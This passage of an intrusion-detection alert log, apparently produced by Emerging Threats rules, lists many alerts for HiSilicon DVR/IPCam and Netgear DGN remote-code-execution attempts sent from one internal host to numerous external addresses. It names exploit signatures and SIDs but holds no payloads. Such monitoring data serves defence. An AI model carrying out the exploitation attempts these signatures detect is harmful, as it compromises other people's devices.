Source Port:	42884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.252.178.116

Timestamp:	05/16/24-16:39:16.600044
SID:	2030488
Source Port:	54282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.121.142.249

Timestamp:	05/16/24-16:38:55.210448
SID:	2030487
Source Port:	57344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.164.11.152

Timestamp:	05/16/24-16:39:02.768675
SID:	2030487
Source Port:	37824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.116.34.43

Timestamp:	05/16/24-16:39:12.298298
SID:	2030488
Source Port:	43158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.164.11.152

Timestamp:	05/16/24-16:39:02.768675
SID:	2030488
Source Port:	37824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.116.34.43

Timestamp:	05/16/24-16:39:12.298298
SID:	2030487
Source Port:	43158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.135.34.224

Timestamp:	05/16/24-16:39:12.400617
SID:	2030487
Source Port:	40140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.75.167.116

Timestamp:	05/16/24-16:38:55.193173
SID:	2030487
Source Port:	56964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.86.153.130

Timestamp:	05/16/24-16:38:55.176023
SID:	2030487
Source Port:	41458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.86.153.130

Timestamp:	05/16/24-16:38:55.176023
SID:	2030488
Source Port:	41458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.121.142.249

Timestamp:	05/16/24-16:38:55.210448
SID:	2030488
Source Port:	57344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.75.167.116

Timestamp:	05/16/24-16:38:55.193173
SID:	2030488
Source Port:	56964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.178.72.48

Timestamp:	05/16/24-16:38:50.047559
SID:	2030488
Source Port:	49964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.178.72.48

Timestamp:	05/16/24-16:38:50.047559
SID:	2030487
Source Port:	49964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.26.0.74

Timestamp:	05/16/24-16:39:16.602039
SID:	2030488
Source Port:	52138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.26.0.74

Timestamp:	05/16/24-16:39:16.602039
SID:	2030487
Source Port:	52138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.185.32.215

Timestamp:	05/16/24-16:38:55.201814
SID:	2030487
Source Port:	50106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.185.32.215

Timestamp:	05/16/24-16:38:55.201814
SID:	2030488
Source Port:	50106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.49.117.12

Timestamp:	05/16/24-16:38:59.590309
SID:	2030487
Source Port:	34814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.231.160.234

Timestamp:	05/16/24-16:39:16.605683
SID:	2030487
Source Port:	42784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.51.8.84

Timestamp:	05/16/24-16:39:05.699206
SID:	2030488
Source Port:	56768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.231.160.234

Timestamp:	05/16/24-16:39:16.605683
SID:	2030488
Source Port:	42784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.51.8.84

Timestamp:	05/16/24-16:39:05.699206
SID:	2030487
Source Port:	56768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.49.117.12

Timestamp:	05/16/24-16:38:59.590309
SID:	2030488
Source Port:	34814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.226.251.52

Timestamp:	05/16/24-16:39:12.298151
SID:	2030488
Source Port:	36926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.226.251.52

Timestamp:	05/16/24-16:39:12.298151
SID:	2030487
Source Port:	36926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.98.127.159

Timestamp:	05/16/24-16:39:14.494644
SID:	2030488
Source Port:	60448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.54.186.176

Timestamp:	05/16/24-16:38:50.080118
SID:	2030487
Source Port:	55480
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.189.219.88

Timestamp:	05/16/24-16:38:50.076383
SID:	2030488
Source Port:	41278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.98.127.159

Timestamp:	05/16/24-16:39:14.494644
SID:	2030487
Source Port:	60448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.189.219.88

Timestamp:	05/16/24-16:38:50.076383
SID:	2030487
Source Port:	41278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.119.82.146

Timestamp:	05/16/24-16:39:03.260924
SID:	2030488
Source Port:	50500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.207.37.175

Timestamp:	05/16/24-16:39:05.694675
SID:	2030488
Source Port:	46850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.161.216.62

Timestamp:	05/16/24-16:39:08.041815
SID:	2030487
Source Port:	43972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.54.186.176

Timestamp:	05/16/24-16:38:50.080118
SID:	2030488
Source Port:	55480
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.119.82.146

Timestamp:	05/16/24-16:39:03.260924
SID:	2030487
Source Port:	50500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.207.37.175

Timestamp:	05/16/24-16:39:05.694675
SID:	2030487
Source Port:	46850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.161.216.62

Timestamp:	05/16/24-16:39:08.041815
SID:	2030488
Source Port:	43972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.123.255.126

Timestamp:	05/16/24-16:39:08.128011
SID:	2030487
Source Port:	40412
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.123.255.126

Timestamp:	05/16/24-16:39:08.128011
SID:	2030488
Source Port:	40412
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.23.253.126

Timestamp:	05/16/24-16:38:53.061015
SID:	2030488
Source Port:	56466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.23.253.126

Timestamp:	05/16/24-16:38:53.061015
SID:	2030487
Source Port:	56466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.174.53.228

Timestamp:	05/16/24-16:38:57.444117
SID:	2030488
Source Port:	39942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.174.53.228

Timestamp:	05/16/24-16:38:57.444117
SID:	2030487
Source Port:	39942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.158.59.86

Timestamp:	05/16/24-16:39:08.149457
SID:	2030487
Source Port:	54886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.158.59.86

Timestamp:	05/16/24-16:39:08.149457
SID:	2030488
Source Port:	54886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 158.131.1.161

Timestamp:	05/16/24-16:39:13.657143
SID:	2034576
Source Port:	33530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.1.140.116

Timestamp:	05/16/24-16:39:03.280114
SID:	2030488
Source Port:	36036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.1.140.116

Timestamp:	05/16/24-16:39:03.280114
SID:	2030487
Source Port:	36036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.54.224.86

Timestamp:	05/16/24-16:39:08.125318
SID:	2030488
Source Port:	57304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.54.224.86

Timestamp:	05/16/24-16:39:08.125318
SID:	2030487
Source Port:	57304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.98.173.225

Timestamp:	05/16/24-16:39:16.614061
SID:	2030487
Source Port:	45028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.98.173.225

Timestamp:	05/16/24-16:39:16.614061
SID:	2030488
Source Port:	45028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.241.201.248

Timestamp:	05/16/24-16:39:16.582466
SID:	2030487
Source Port:	49486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.127.20.32

Timestamp:	05/16/24-16:38:59.589051
SID:	2030488
Source Port:	51730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.204.159.63

Timestamp:	05/16/24-16:39:16.579400
SID:	2030488
Source Port:	58016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.241.201.248

Timestamp:	05/16/24-16:39:16.582466
SID:	2030488
Source Port:	49486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.73.108.13

Timestamp:	05/16/24-16:38:59.520010
SID:	2030488
Source Port:	51384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.135.1.11

Timestamp:	05/16/24-16:39:05.701609
SID:	2030488
Source Port:	38122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.204.159.63

Timestamp:	05/16/24-16:39:16.579400
SID:	2030487
Source Port:	58016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.73.108.13

Timestamp:	05/16/24-16:38:59.520010
SID:	2030487
Source Port:	51384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.135.1.11

Timestamp:	05/16/24-16:39:05.701609
SID:	2030487
Source Port:	38122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.127.20.32

Timestamp:	05/16/24-16:38:59.589051
SID:	2030487
Source Port:	51730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.211.168.19

Timestamp:	05/16/24-16:39:12.298361
SID:	2030487
Source Port:	56908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.211.168.19

Timestamp:	05/16/24-16:39:12.298361
SID:	2030488
Source Port:	56908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.199.185.95

Timestamp:	05/16/24-16:39:05.675818
SID:	2030487
Source Port:	58216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.199.185.95

Timestamp:	05/16/24-16:39:05.675818
SID:	2030488
Source Port:	58216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.172.120.59

Timestamp:	05/16/24-16:39:05.506752
SID:	2024916
Source Port:	60530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 173.127.104.48

Timestamp:	05/16/24-16:39:13.661858
SID:	2034576
Source Port:	37620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.88.247.171

Timestamp:	05/16/24-16:38:55.216350
SID:	2030487
Source Port:	58932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.79.49.5

Timestamp:	05/16/24-16:39:12.295361
SID:	2030487
Source Port:	53134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.88.247.171

Timestamp:	05/16/24-16:38:55.216350
SID:	2030488
Source Port:	58932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.79.49.5

Timestamp:	05/16/24-16:39:12.295361
SID:	2030488
Source Port:	53134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.244.101.158

Timestamp:	05/16/24-16:38:57.446978
SID:	2030487
Source Port:	58248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.249.171.147

Timestamp:	05/16/24-16:39:05.677933
SID:	2030488
Source Port:	58708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.244.101.158

Timestamp:	05/16/24-16:38:57.446978
SID:	2030488
Source Port:	58248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.249.171.147

Timestamp:	05/16/24-16:39:05.677933
SID:	2030487
Source Port:	58708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.217.228.99

Timestamp:	05/16/24-16:38:55.176055
SID:	2030488
Source Port:	47158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.152.94.38

Timestamp:	05/16/24-16:38:57.411108
SID:	2030488
Source Port:	43336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.152.94.38

Timestamp:	05/16/24-16:38:57.411108
SID:	2030487
Source Port:	43336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.217.228.99

Timestamp:	05/16/24-16:38:55.176055
SID:	2030487
Source Port:	47158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.29.127.26

Timestamp:	05/16/24-16:39:12.295432
SID:	2030488
Source Port:	43162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.29.127.26

Timestamp:	05/16/24-16:39:12.295432
SID:	2030487
Source Port:	43162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.152.122.47

Timestamp:	05/16/24-16:39:05.700300
SID:	2030488
Source Port:	42040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.152.122.47

Timestamp:	05/16/24-16:39:05.700300
SID:	2030487
Source Port:	42040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.220.188.142

Timestamp:	05/16/24-16:39:05.699558
SID:	2030488
Source Port:	45228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.220.188.142

Timestamp:	05/16/24-16:39:05.699558
SID:	2030487
Source Port:	45228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.24.18.93

Timestamp:	05/16/24-16:39:08.125373
SID:	2030487
Source Port:	53994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.89.164.74

Timestamp:	05/16/24-16:38:50.046610
SID:	2030487
Source Port:	43692
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.24.18.93

Timestamp:	05/16/24-16:39:08.125373
SID:	2030488
Source Port:	53994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.175.91.127

Timestamp:	05/16/24-16:38:53.410061
SID:	2024916
Source Port:	51066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.198.144.160

Timestamp:	05/16/24-16:39:12.380535
SID:	2030488
Source Port:	34954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.198.144.160

Timestamp:	05/16/24-16:39:12.380535
SID:	2030487
Source Port:	34954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.71.216.16

Timestamp:	05/16/24-16:38:55.176056
SID:	2030487
Source Port:	37626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.89.164.74

Timestamp:	05/16/24-16:38:50.046610
SID:	2030488
Source Port:	43692
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.71.216.16

Timestamp:	05/16/24-16:38:55.176056
SID:	2030488
Source Port:	37626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.93.213.142

Timestamp:	05/16/24-16:38:57.408887
SID:	2030487
Source Port:	48962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.93.213.142

Timestamp:	05/16/24-16:38:57.408887
SID:	2030488
Source Port:	48962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.68.192.19

Timestamp:	05/16/24-16:39:16.602122
SID:	2030488
Source Port:	33386
Destination Port:	9530
Protocol:	TCP
